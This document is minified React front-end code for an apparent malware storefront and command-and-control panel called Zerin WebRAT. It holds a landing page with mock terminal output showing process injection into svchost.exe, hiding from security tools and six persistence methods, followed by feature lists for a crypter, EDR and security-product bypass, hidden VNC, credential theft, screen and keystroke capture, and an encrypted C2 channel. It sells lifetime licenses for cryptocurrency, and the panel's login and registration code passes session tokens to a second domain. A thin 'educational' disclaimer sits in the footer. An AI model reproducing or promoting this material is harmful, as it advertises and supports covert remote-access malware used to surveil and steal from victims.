",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[*] Loading into svchost.exe (PID 1204)... ",a.jsx("span",{className:"text-emerald-400/70",children:"OK"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Process concealment active"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Hidden from: Task Manager, Process Explorer, WMI"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] Stealth mode — ",a.jsx("span",{className:"text-zerin-accent",children:"active"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2",children:"persist --install --all-methods"})]}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Agent installed to staging directory"}),a.jsx("div",{className:"text-zerin-text-muted/60 pl-4",children:"[*] Methods: RunKey, SchTask, Startup, WMI, COM, BITS"}),a.jsxs("div",{className:"text-zerin-text-muted/60 pl-4",children:["[",a.jsx("span",{className:"text-emerald-400/70",children:"+"}),"] 6/6 persistence methods — ",a.jsx("span",{className:"text-zerin-accent",children:"installed"})]}),a.jsxs("div",{className:"mt-2",children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"text-zerin-text-dim ml-2 inline-flex items-center",children:a.jsx("span",{className:"w-[2px] h-3.5 bg-zerin-accent/60 animate-pulse"})})]})]})]}),a.jsxs("div",{children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Stealth Engine"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight mb-5",children:["Advanced"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Evasion."})]}),a.jsx("div",{className:"flex flex-wrap gap-2 mt-6",children:["Reflective Loading","API Hooking","Process Monitor","12 Persist Methods","Auto-Relocate","File Concealment"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-accent/70 border border-zerin-accent/15 bg-zerin-accent/5 px-2.5 py-1",children:u},u))})]})]})})}),a.jsx("section",{className:"relative z-10 py-24 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Capabilities"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["Everything You Need."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"One Platform."})]})]}),a.jsx("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 xl:grid-cols-5 gap-[1px] bg-[#1a1a22]/30",children:i_.map((u,d)=>a.jsx(o_,{feature:u,index:d},u.tag))})]})}),a.jsx("section",{className:"relative z-10 py-24 px-6 border-t border-b border-[#1a1a22]/50",children:a.jsxs("div",{className:"max-w-5xl mx-auto grid grid-cols-2 md:grid-cols-5 gap-10",children:[a.jsx(Bs,{value:256,suffix:"-bit",label:"Encryption"}),a.jsx(Bs,{value:12,suffix:"",label:"Persist Methods"}),a.jsx(Bs,{value:100,suffix:"%",label:"C2 Uptime"}),a.jsx(Bs,{value:0,suffix:"",label:"Disk Artifacts"}),a.jsx(Bs,{value:48,suffix:"",label:"Modules"})]})}),a.jsx("section",{id:"pricing",className:"relative z-10 py-32 px-6",children:a.jsxs("div",{className:"max-w-6xl mx-auto",children:[a.jsxs("div",{className:"text-center mb-16",children:[a.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Pricing"}),a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl mt-3 tracking-tight",children:["One License."," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"Lifetime Access."})]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mt-4 max-w-md mx-auto",children:"No subscriptions. No recurring fees. Pay once, own it forever."})]}),a.jsxs("div",{className:"grid md:grid-cols-2 gap-6 max-w-4xl mx-auto",children:[a.jsx("div",{className:"group relative",children:a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] group-hover:border-zerin-accent/20 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Early Access"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase mb-2",children:"WebRAT"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$75"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$150"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:["Process concealment engine","Polymorphic payload generation","Persistence testing (12 methods)","Hidden VNC & remote desktop","Encrypted C2 (ChaCha20 + X25519)","Credential auditing module","SOCKS5 reverse proxy / pivoting","In-memory execution","Screen capture & input monitoring","All future updates included"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsx("button",{onClick:()=>c("rat"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden border border-zerin-accent text-zerin-accent font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:bg-zerin-accent/10 disabled:opacity-50 disabled:cursor-wait",children:a.jsx("span",{className:"relative z-10",children:r==="rat"?"Creating Invoice...":"Purchase with Crypto"})})})]})}),a.jsxs("div",{className:"group relative",children:[a.jsx("div",{className:"absolute -inset-[1px] bg-gradient-to-b from-zerin-accent/20 via-transparent to-zerin-accent/10 opacity-60 group-hover:opacity-100 transition-opacity duration-700 blur-sm"}),a.jsxs("div",{className:"relative bg-[#08080c] border border-zerin-accent/30 group-hover:border-zerin-accent/50 transition-all duration-500 overflow-hidden h-full flex flex-col",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("div",{className:"relative border-b border-[#1a1a22] px-6 py-3 flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent uppercase",children:"Best Value"})]}),a.jsx("span",{className:"font-mono text-[10px] tracking-wide text-emerald-400/80 bg-emerald-400/10 border border-emerald-400/20 px-2 py-0.5",children:"SAVE 50%"})]}),a.jsxs("div",{className:"px-6 pt-6 pb-4",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-accent/80 uppercase mb-2",children:"WebRAT + Crypter"}),a.jsxs("div",{className:"flex items-baseline gap-3 mb-1",children:[a.jsx("span",{className:"font-display font-bold text-4xl md:text-5xl text-zerin-text tracking-tight",children:"$150"}),a.jsx("span",{className:"font-mono text-base text-zerin-text-muted line-through decoration-zerin-danger/60",children:"$300"})]}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/50 uppercase",children:"One-time — Lifetime license"})]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsxs("div",{className:"px-6 py-5 space-y-2.5 flex-1",children:[["Everything in WebRAT, plus:"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text font-semibold",children:u})]},u)),["PE Crypter — runtime packing engine","Polymorphic + metamorphic generation","Every build structurally unique","Indirect syscalls for EDR testing","Anti-analysis & environment checks","NTDLL restoration module","Security product bypass testing","Unique keys & code per build"].map(u=>a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("svg",{className:"w-3 h-3 text-zerin-accent flex-shrink-0",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2.5",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4.5 12.75l6 6 9-13.5"})}),a.jsx("span",{className:"text-[12px] text-zerin-text-dim",children:u})]},u))]}),a.jsx("div",{className:"mx-6 h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"}),a.jsx("div",{className:"px-6 py-5",children:a.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[a.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),a.jsxs("div",{className:"mt-8 text-center space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),a.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),a.jsxs(ut,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Started"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Mj(){const e=m.useRef(null);return m.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function s(){t.width=window.innerWidth,t.height=window.innerHeight}s(),window.addEventListener("resize",s);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",s)}},[]),a.jsxs(a.Fragment,{children:[a.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),a.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const oy="zerin.pro",Lj="zerpanel-67ontoplol.top";function _x(){return window.location.hostname===oy||window.location.hostname===`www.${oy}`}function c_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await qE({username:t,password:r}),_x()){const f=st();if(f){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof bi?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[s&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:s})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),a.jsx("div",{className:"auth-stagger-5 pt-1",children:a.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",a.jsx(ut,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function u_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(""),[u,d]=m.useState(""),[f,p]=m.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==s){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}p(!0);try{if(await XE({username:t,password:r,license_key:l}),_x()){const g=st();if(g){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof bi)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{p(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:u})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),a.jsxs("div",{className:"auth-stagger-5",children:[a.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"confirmPassword",type:"password",value:s,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),a.jsxs("div",{className:"auth-stagger-6",children:[a.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),a.jsx("div",{className:"auth-stagger-7 pt-1",children:a.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",a.jsx(ut,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function eu(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),s=Math.floor(i/60),o=Math.floor(s/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:s<60?`${s}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function Mp(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function d_(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Lo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Io(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function no(e){return e.slice(0,8)}function Ij(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function f_(e){return`data:image/bmp;base64,${e}`}function m_(e){return e.startsWith("Qk")}const Dn="w-3.5 h-3.5 flex-shrink-0",sn={eye:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 